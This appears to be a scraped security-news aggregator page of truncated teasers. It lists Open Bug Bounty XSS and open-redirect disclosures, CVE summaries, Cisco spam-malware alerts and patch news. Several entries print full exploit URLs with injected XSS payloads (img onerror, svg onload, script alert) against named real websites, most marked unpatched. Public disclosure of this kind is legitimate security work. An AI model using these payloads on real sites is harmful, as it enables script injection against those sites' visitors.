crtvg.es XSS vulnerability

Open Bug Bounty ID: OBB-326549 Description| Value ---|--- Affected Website:| crtvg.es Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

Microsoft Releases Outlook Patches, Fixes Broken Update

During the heat of Black Hat last week, Microsoft pushed out patches for Outlook that address three newly reported vulnerabilities. Last week’s update also included fixes for six of eight vulnerabilities left unpatched after issues were reported with the June Patch Tuesday update. The most seriou...

CVE-2017-2253

Untrusted search path vulnerability in Installer of Yahoo! Toolbar for Internet explorer v8.0.0.6 and earlier, with its timestamp prior to June 13, 2017, 18:18:55 allows an attacker to gain privileges via a Trojan horse DLL in an unspecified directory...

Threat Outbreak Alert RuleID29656: Email Messages Distributing Malicious Software on June 30, 2017

Medium Alert ID: 54342 First Published: 2017 July 3 21:12 GMT Version: 1 Summary Cisco Security has detected significant activity related to spam email messages distributing malicious software. Email messages that are related to this threat RuleID29656 may contain the following files: Name | Size...

Threat Outbreak Alert RuleID29635: Email Messages Distributing Malicious Software on June 30, 2017

Medium Alert ID: 54339 First Published: 2017 July 3 14:38 GMT Version: 1 Summary Cisco Security has detected significant activity related to spam email messages distributing malicious software. Email messages that are related to this threat RuleID29635 may contain the following files: Name | Size...

aftek.com XSS vulnerability

Vulnerable URL: http://aftek.com/SearchResults.php?offset=0=%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%28%2FOPENBUGBOUNTY%2F%29%3E%22=0=0 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 22.09.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

twirlteam-surprise.nl XSS vulnerability

Vulnerable URL: http://www.twirlteam-surprise.nl/index.php?id=agenda=danique-hulzenboom08062012=6=2017%22--!%3E%3CSvg/OnLoad=alertOPENBUGBOUNTY%3E%22 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly...

kvhb.de XSS vulnerability

Vulnerable URL: https://www.kvhb.de/ksearch?word=+%3E%3C%2FSCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28%27OPENBUGBOUNTY%27%29%3C%2FSCRIPT%3E=0=SUCHEN=0buildid=form-2hoyeZ5gE3oTfdgw-zpzOe3igrHg6ixJriYiXN0a8r4id=kvhbsearchblockform Details: Description| Value ---|--- Patched:| No Latest check for...

Threat Outbreak Alert RuleID29629: Email Messages Distributing Malicious Software on June 29, 2017

Medium Alert ID: 54329 First Published: 2017 June 29 18:41 GMT Version: 1 Summary Cisco Security has detected significant activity related to spam email messages distributing malicious software. Email messages that are related to this threat RuleID29629 may contain the following files: Name | Siz...

javout.net XSS vulnerability

Vulnerable URL: https://javout.net/?s=a%27aa%22onfocus=prompt/OPENBUGBOUNTY/%20autofocus=x%20bad=--%3E%3C/title%3E%3C/script%3E%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 21.09.2017 Vulnerability type:| XSS...

fpf.pt Open Redirect vulnerability

Open Bug Bounty ID: OBB-253961 Description| Value ---|--- Affected Website:| fpf.pt Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| Open Redirect / CWE-601 CVSSv3 Score:| 3.4...

June 28, 2017 – Morning Cyber Coffee Headlines – “Petya” Edition

Good morning! Sit with Carbon Black this morning over a cup of coffee or tea and browse a few industry headlines to get the day started. We’ve got just enough information below to get you through that first cup…enjoy! June 28, 2017 - Headlines Carbon Black in the News: Here's how to protect...

jobinventory.com XSS vulnerability

Vulnerable URL: http://www.jobinventory.com/search?q=%3E%27%3E%22%3Ee%3Ci%3E5%3Csvg%2Fonload%3Dalert%28%2Fopenbugbounty%2F%29%3E=%3E%27%3E%22%3Ee%3Ci%3E5%3Csvg%2Fonload%3Dalert%28%2Fopenbugbounty%2F%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.07.2017...

CVE-2017-9810

creationtimestamp| type| source ---|---|--- 2017-06-28 00:00:00+00:00| exploited| https://www.exploit-db.com/exploits/42269...

CVE-2017-9812

creationtimestamp| type| source ---|---|--- 2017-06-28 00:00:00+00:00| exploited| https://www.exploit-db.com/exploits/42269...

CVE-2017-1000371

creationtimestamp| type| source ---|---|--- 2017-06-28 00:00:00+00:00| exploited| https://www.exploit-db.com/exploits/42273 2017-06-28 00:00:00+00:00| exploited| https://www.exploit-db.com/exploits/42276...

secure.friendsofbell.com XSS vulnerability

Vulnerable URL: https://secure.friendsofbell.com/np/clients/friendsofbell/tellFriend.jsp?subject=Attending%20Bet%20on%20Bell!=/%27%22--!%3E%20%3Cimg%20src=x%20onerror=alert%22openbugbounty%22%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 29.07.2017 Vulnerability...

werkenineenhotel.nl XSS vulnerability

Vulnerable URL: https://www.werkenineenhotel.nl/hotelvacaturesbanenbijbanenstage/?companygroupid=ratingid==availabilityid==a%27aa%22%3E%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E==Zoeken Details: Description| Value ---|--- Patched:| Yes, at 26.11.2017 Latest check for patch:| 26.11.2017 15:...

emerx.cz XSS vulnerability

Vulnerable URL: https://www.emerx.cz/hledani?s=%3C%2Fscript%3E%3Cimg+src%3Dx+onerror%3Dprompt%28%2FXSSPOSED%2F%29%3E=HLEDAT=92=searchForm-submit Details: Description| Value ---|--- Patched:| No Latest check for patch:| 01.08.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

oaj.fi XSS vulnerability

Open Bug Bounty ID: OBB-252756 Description| Value ---|--- Affected Website:| oaj.fi Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...